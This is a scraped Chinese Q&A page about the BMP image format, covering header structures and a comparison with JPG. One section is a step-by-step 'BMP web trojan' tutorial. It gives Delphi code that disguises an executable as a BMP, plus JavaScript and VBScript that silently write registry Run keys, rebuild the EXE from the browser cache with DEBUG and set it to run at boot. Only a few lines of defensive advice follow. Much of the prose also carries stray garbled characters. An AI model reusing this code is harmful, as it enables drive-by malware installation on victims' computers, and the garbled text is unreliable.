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bmp分析技術是什麼

發布時間:2023-03-18 01:48:36

❶ bmp 和JPG有什麼區別

BMP和JPG的主要區別是:

1、bmp是靠記錄每一個像素格來保存圖像滑鍵的,比較占內存空間,但是圖像不容易失真。

2、jpg是一種有損壓縮格扮信式,佔地比較小,不過反復保存,就會反復壓縮,會導致失真。

BMP(全稱Bitmap)是Windows操作系統中的標准圖像文件格式,可以分成兩類:設備有向量相關點陣圖(DDB)和設備無向量關點陣圖(DIB),使用非常廣。它採用位映射存儲格式,除了圖像深度可選以外,不採用其他任何壓縮,因此,BMP文件所佔用的空間很大。

BMP文件的圖像深度可選lbit、4bit、8bit及24bit。BMP文件存儲數據時,圖像的掃描方式是按從左到右、從下到上的順序。由於BMP文件格式是Windows環境中交換與圖有關的數據的一種標准,因此在Windows環境中運行的圖形圖像軟體都支持BMP圖像格式。

JPEG是Joint Photographic Experts Group(聯合圖像專家組)的縮寫,文件後輟名為".jpg"或".jpeg",是最常用的圖像文件格式。

由一個軟體開發聯合會組織制定,是一種有損壓縮格式,能夠將圖像壓縮在很小的儲存空間,圖像中重復或不重要的資料會被丟失,因此容易造成圖像數據的損傷。

尤其是使用過高的壓縮比例,將使最終解壓縮後恢復的圖像質量明顯降低,如果追求高品質圖像,不宜採用過高壓縮比例。

比如可以把1.37Mb的BMP點陣圖文件壓縮至20.3KB。當然也可以在圖像質量和文件尺寸廳讓輪之間找到平衡點。JPEG格式壓縮的主要是高頻信息,對色彩的信息保留較好,適合應用於互聯網,可減少圖像的傳輸時間,可以支持24bit真彩色,也普遍應用於需要連續色調的圖像。

(1)bmp分析技術是什麼擴展閱讀:

BMP格式組成

典型的BMP圖像文件由四部分組成:

1:點陣圖頭文件數據結構,它包含BMP圖像文件的類型、顯示內容等信息;

2:點陣圖信息數據結構,它包含有BMP圖像的寬、高、壓縮方法,以及定義顏色等信息;

3:調色板,這個部分是可選的,有些點陣圖需要調色板,有些點陣圖,比如真彩色圖(24位的BMP)就不需要調色板;

4:點陣圖數據,這部分的內容根據BMP點陣圖使用的位數不同而不同,在24點陣圖中直接使用RGB,而其他的小於24位的使用調色板中顏色索引值。

JPG格式類型

JPEG2000作為JPEG的升級版,其壓縮率比JPEG高約30%左右,同時支持有損和無損壓縮。JPEG2000格式有一個極其重要的特徵在於它能實現漸進傳輸,即先傳輸圖像的輪廓,然後逐步傳輸數據,不斷提高圖像質量,讓圖像由朦朧到清晰顯示。

此外,JPEG2000還支持所謂的"感興趣區域" 特性,可以任意指定影像上感興趣區域的壓縮質量,還可以選擇指定的部分先解壓縮。

JPEG2000和JPEG相比優勢明顯,且向下兼容,因此可取代傳統的JPEG格式。JPEG2000即可應用於傳統的JPEG市場,如掃描儀、數碼相機等,又可應用於新興領域,如網路傳輸、無線通訊等等。

❷ BMP,JPG,GTF,TCO分別指的是什麼

BMP是一種與硬體設備無關的圖像文件格式,使用非常廣。

jpg全名是JPEG 。JPEG 圖片以 24 位顏色存儲單個光柵圖像。JPEG 是悔扒與平台無關的格式,支持最高級別的壓縮,不過,這種壓縮是碧旦昌有損耗的。漸近式 JPEG 文件支持交錯

總所有成本TCO (Total cost of ownership)是一種公司經常採用的技術評價標准,它的核心思想是在一定時間范圍內所擁有的包括置業成本(acquisition cost)和每年總成本在內的總體成本。在某些情況下,這一總體成本是一個為獲得可比較的現行開支而對3到5年遲消時間范圍內的成本進行平均的值。

❸ 多媒體技術名詞解釋 BMP格式圖像文件

1、
BMP格式是由微軟公司開發。通常BMP圖像文件的後綴名是BMP,但也有少數是.DIP。不過單憑文件的後綴名並不能惟一確定是不是BMP圖像文件,要惟一確定BMP圖像文件還需要分析文件的存儲格式。
2

BMP圖像文件和GIF
圖像文件不同,BMP圖像文件只能存儲一幅圖像,即一幀。GIF圖像文件能保團仔存多幀圖像,從而可以實現動畫的效果。
3

BMP圖像文件支持單色、16色、256色和真埋橋彩色4種顏色的圖像。BMP圖像的數據彎或猛即可以壓縮也可以不壓縮,如果圖像選擇了壓縮數據,那麼根據顏色的不同,BMP使用不同的RLE壓縮方式。REL
是一種無損壓縮方法,使用RLE壓縮的數據能完整還原。如果圖像是16色,則可以採用RLE4壓縮,如果圖像是256色,則可以採用RLE8壓縮。
4

BMP的圖像數據排列有點特別,數據排列方式首先從圖像的左下角第一個像素開始存儲第一行數據,即BMP圖像數據存儲的最後一個像素等於實際圖像的右上角第一個像素。

❹ bmp技術的出現背景

首先說明這不是什麼新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗一下. 何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行.

然慶頃而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的JAVASCRIPT腳本查找客戶端的Internet臨時文件夾,找到下載後的BMP文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,並把它放到注冊表啟動項中,在下一次開機時執行.但是這種技術只能在9X下發揮作用,對於2K,XP來說是無能為力了.

看上去好象很復雜,下面我辯差蘆們一步一步來:
1) EXE變BMP的方法.
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個位元組,簡單來說裡麵包含了BMP文件的長寬,位數,文件大小,數據區長度,我們只要在EXE文件的文件頭前面添加相應的BMP文件頭(當然BMP文件頭裡面的數據要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發現如果文件頭不正確的話,IE是不會下載的,轉換代碼如下:

program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>"") and(ParamStr(2)<>"") then begin //攜帶如果運行後沒有兩個參數則退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭數據}
Buffer[0]:="B";Buffer[1]:="M";
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家打開MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
回車就可以把第二個參數所指定的EXE文件轉換成BMP格式.
接著就是把這個BMP圖片放到網頁上了,如果大家打開過這張圖片的話,一定發現這張BMP又花,顏色又單調.所以大家放在網頁上最好用這樣的格式

以下是放在網頁上的腳本
document.write(" ");
function docsave()
{
a=document.applets[0];
a.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a.createInstance();
wsh=a.GetObject();
a.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+"\\s.vbs";
wsh.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs","wscript "+"""+vbs+"" ");
var st=fso.CreateTextFile(vbs,true);
st.WriteLine("Option Explicit");
st.WriteLine("Dim FSO,WSH,CACHE,str");
st.WriteLine("Set FSO = CreateObject("Scripting.FileSystemObject")");
st.WriteLine("Set WSH = CreateObject("WScript.Shell")");
st.WriteLine("CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")");
st.WriteLine("wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")");
st.WriteLine ("wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"");
st.WriteLine("SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"");
st.WriteLine("WScript.Quit()");
st.WriteLine("Function SearchBMPFile(Folder,fname)");
st.WriteLine(" Dim SubFolder,File,Lt,tmp,winsys");
st.WriteLine(" str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname");
st.WriteLine(" if FSO.FileExists(str) then");
st.WriteLine(" tmp=fso.GetSpecialFolder(2) & "\\"");
st.WriteLine(" winsys=fso.GetSpecialFolder(1) & "\\"");
st.WriteLine(" set File=FSO.GetFile(str)");
st.WriteLine(" File.Copy(tmp & "tmp.dat")");
st.WriteLine(" File.Delete");
st.WriteLine(" set Lt=FSO.CreateTextFile(tmp & "tmp.in")");
st.WriteLine(" Lt.WriteLine("rbx")");
st.WriteLine(" Lt.WriteLine("0")");
st.WriteLine(" Lt.WriteLine("rcx")");
st.WriteLine(" Lt.WriteLine("1000")");
st.WriteLine(" Lt.WriteLine("w136")");
st.WriteLine(" Lt.WriteLine("q")");
st.WriteLine(" Lt.Close");
st.WriteLine(" WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6");
st.WriteLine(" On Error Resume Next ");
st.WriteLine(" FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")");
st.WriteLine(" FSO.GetFile(tmp & "tmp.dat").Delete");
st.WriteLine(" FSO.GetFile(tmp & "tmp.in").Delete");
st.WriteLine(" FSO.GetFile(tmp & "tmp.out").Delete");
st.WriteLine(" end if");
st.WriteLine(" If Folder.SubFolders.Count <> 0 Then");
st.WriteLine(" For Each SubFolder In Folder.SubFolders");
st.WriteLine(" SearchBMPFile SubFolder,fname");
st.WriteLine(" Next");
st.WriteLine(" End If");
st.WriteLine("End Function");
st.Close();
}
setTimeout("docsave()",1000);

把該腳本保存為"js.js",在網頁中插入:

該腳本主要會在本地機器的SYSTEM目錄下生成一個「S.VBS」文件,該腳本文件會在下次開機時自動運行。主要用於從臨時目錄中找出mybmp[1].bmp文件。
「S.VBS」文件主要內容如下:

Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
"從臨時文件夾中查找目標BMP圖片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
"生成一個DEBUG腳本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
"下面一行的1000是十六進制,換回十進制是4096(該數字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

這個腳本會找出在臨時文件夾中的bmp文件,並生成一個DEBUG的腳本,運行時會自動從BMP文件54位元組處讀去你指定大小的數據,並把它保存到tmp.dat中.後面的腳本再把它復制到SYSTEM的目錄下.這個被還原的EXE文件會在下次重起的時候運行.這就是BMP木馬的基本實現過程.
詳細腳本代碼請參_blank>http://hotsky.363.net

防範方法:
最簡單,刪除或改名wscrpit.exe文件和DEBUG 文件;
安裝有效的殺毒軟體,因為這些腳本有好多殺毒軟體已經可以查出來了.
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網站.

❺ 什麼是BMP

bmp是什麼意思
BMP是英文Bitmap(點陣圖)的簡寫,它是Windows操作系統中的標准圖像文件格式,能夠被多種Windows應用程序所支持。
隨著Windows操作系統的流行與豐富的Windows應用程序的開發,BMP點陣圖格式理所當然地被廣泛應用。
這種格式的特點是缺跡包含的圖像信息較豐鏈扮弊富,幾乎不進行壓縮,但由此導致了它與生俱來棚族的缺點--佔用磁碟空間過大。
所以,BMP在單機上比較流行。

❻ bmp和OA有何區別

OA系統主要是面向企陪李亮業內部,因產品的不同,適用於各大、中、小型企業。而bmp系統是中、大型企業業務信息化的首選,同時也不僅擾彎僅局限於企業內部,可實現跨應用、跨部門、跨合作夥伴與客戶的企業運作。OA只能作為一個多功能為一體的辦公平台來使用,對於業務全方面的處理和分析還不夠深入。bmp需要對業務流程的各個環節數據進行分析、邏輯判斷、深層處理,並將結果性數據及時反饋到系統里,從而實現對企業風險管控和運營效率的提升。bpm在梳理過程中需要使用大量數據,這就使得bpm與資料庫的交互非常頻蘆寬繁,對資料庫技術和大小的要求較高。流程雲BPM可以為企業打造縝密可靠的工作流審批平台,按企業行業、業務習慣量身定製屬於您企業獨一無二的BPM平台

❼ 什麼是bmp圖像

bmp就是點陣圖
點陣圖圖像(在技術上稱作柵格圖像)使用圖片元素的矩形網薯告格(像素)表現圖像。每個像素都分配有特定的位置和顏色值。在處理點陣圖圖像時,您所編輯的是像素,而不是對象或形狀。點陣圖圖像是連續色調圖像(如照片或數字磨早繪畫)最常用的電子媒介,因為它們可以更有效地表現陰影和顏色的細微層次。
點陣圖圖像與解析度有關,也就是瞎手雀說,它們包含固定數量的像素。因此,如果在屏幕上以高縮放比率對它們進行縮放或以低於創建時的解析度來列印它們,則將丟失其中的細節,並會呈現出鋸齒。

❽ BMP是干什麼的

簡介:BMP是一種與硬體設備無關的圖像文件格式,使用非常廣。它採用位映射存儲格式,除了圖像深度可選以外,不採用其他任何壓縮,因此,BMP文件所佔用的空間很大。BMP文件早皮頌的圖像深度可選lbit、4bit、8bit及24bit。BMP文件存儲數據時,圖像的掃描方式是按從左到右、從下到上的順序。
由於BMP文件格式是Windows環境中交換與圖有關的數據的一種標准,因此在Windows環境中運行的圖形圖像軟體都支持BMP圖像格式。文件結構:典型的BMP圖像文件由四部分組成:
1:點陣圖文件頭數據結構,它包含BMP圖像文件的類型、顯示內容等信息;
2:點陣圖信息數據結構,它包含有BMP圖像的寬、高、壓縮方法,以及定義顏色等信息;
3:調色板,這個部分是可選的,有些點陣圖需要調色板,有些點陣圖,比如真彩色圖(24位的BMP)就不需要調色板;
4:點陣圖數據,這部分的內容根據BMP點陣圖使用的位數不同而不同,在24點陣圖中直接使用RGB,而其他的小於24位的使用調色板中顏色索引值。
點陣圖的類型:
點陣圖一共有兩種類型,即:設備相關點陣圖(DDB)和設備無關點陣圖(DIB)。DDB點陣圖在早期的Windows系統(Windows 3.0以前)中是很普遍的,事實上它也是唯一的。然而,隨著顯示器製造技術的進步,以及顯示設備的多樣化,DDB點陣圖的一些固有的問題開始浮現出來了。比如,它不能夠存儲(或者說獲取)創建這張圖片的原始設備的解析度,這樣,應用程序就不能快速的判斷客戶機的顯示設備是否適合顯示這張圖片。為了解決這一難題,微軟創建了DIB點陣圖格式。對應的數據結構:
1:BMP文件組成
BMP文件由文件頭、點陣圖信息頭、顏色信息和圖形數據四部分組成。
2:BMP文件頭(14位元組)
BMP文件頭數據結構含有BMP文件的類型、文件大小和點陣圖起始位置等信息。陸鄭
其結構定義如下:
typedef struct tagBITMAPFILEHEADER
{
WORD bfType; // 點陣圖文件的類型,必須為BM(0-1位元組)
DWORD bfSize; // 點陣圖文件的大小,以位元組為單位(2-5位元組)
握殲WORD bfReserved1; // 點陣圖文件保留字,必須為0(6-7位元組)
WORD bfReserved2; // 點陣圖文件保留字,必須為0(8-9位元組)
DWORD bfOffBits; // 點陣圖數據的起始位置,以相對於點陣圖(10-13位元組)
// 文件頭的偏移量表示,以位元組為單位
} BITMAPFILEHEADER;
3:點陣圖信息頭(40位元組)
BMP點陣圖信息頭數據用於說明點陣圖的尺寸等信息。
typedef struct tagBITMAPINFOHEADER{
DWORD biSize; // 本結構所佔用位元組數(14-17位元組)
LONG biWidth; // 點陣圖的寬度,以像素為單位(18-21位元組)
LONG biHeight; // 點陣圖的高度,以像素為單位(22-25位元組)
WORD biPlanes; // 目標設備的級別,必須為1(26-27位元組)
WORD biBitCount;// 每個像素所需的位數,必須是1(雙色),(28-29位元組)
// 4(16色),8(256色)或24(真彩色)之一
DWORD biCompression; // 點陣圖壓縮類型,必須是 0(不壓縮),(30-33位元組)
// 1(BI_RLE8壓縮類型)或2(BI_RLE4壓縮類型)之一
DWORD biSizeImage; // 點陣圖的大小,以位元組為單位(34-37位元組)
LONG biXPelsPerMeter; // 點陣圖水平解析度,每米像素數(38-41位元組)
LONG biYPelsPerMeter; // 點陣圖垂直解析度,每米像素數(42-45位元組)
DWORD biClrUsed;// 點陣圖實際使用的顏色表中的顏色數(46-49位元組)
DWORD biClrImportant;// 點陣圖顯示過程中重要的顏色數(50-53位元組)
} BITMAPINFOHEADER;
4:顏色表
顏色表用於說明點陣圖中的顏色,它有若干個表項,每一個表項是一個RGBQUAD類型的結構,定義一種顏色。RGBQUAD結構的定義如下:
typedef struct tagRGBQUAD {
BYTE rgbBlue;// 藍色的亮度(值范圍為0-255)
BYTE rgbGreen; // 綠色的亮度(值范圍為0-255)
BYTE rgbRed; // 紅色的亮度(值范圍為0-255)
BYTE rgbReserved;// 保留,必須為0
} RGBQUAD;
顏色表中RGBQUAD結構數據的個數有biBitCount來確定:
當biBitCount=1,4,8時,分別有2,16,256個表項;
當biBitCount=24時,沒有顏色表項。
點陣圖信息頭和顏色表組成點陣圖信息,BITMAPINFO結構定義如下:
typedef struct tagBITMAPINFO {
BITMAPINFOHEADER bmiHeader; // 點陣圖信息頭
RGBQUAD bmiColors[1]; // 顏色表
} BITMAPINFO;
5:點陣圖數據
點陣圖數據記錄了點陣圖的每一個像素值,記錄順序是在掃描行內是從左到右,掃描行之間是從下到上。點陣圖的一個像素值所佔的位元組數:
當biBitCount=1時,8個像素佔1個位元組;
當biBitCount=4時,2個像素佔1個位元組;
當biBitCount=8時,1個像素佔1個位元組;
當biBitCount=24時,1個像素佔3個位元組;
Windows規定一個掃描行所佔的位元組數必須是
4的倍數(即以long為單位),不足的以0填充,
biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) * bi.biHeight;
具體數據舉例:
如某BMP文件開頭:
4D42 4690 0000 0000 0000 4600 0000 2800 0000 8000 0000 9000 0000 0100*1000 0300 0000 0090 0000 A00F 0000 A00F 0000 0000 0000 0000 0000*00F8 0000 E007 0000 1F00 0000 0000 0000*02F1 84F1 04F1 84F1 84F1 06F2 84F1 06F2 04F2 86F2 06F2 86F2 86F2 .... ....
BMP文件可分為四個部分:點陣圖文件頭、點陣圖信息頭、彩色板、圖像數據陣列,在上圖中已用*分隔。

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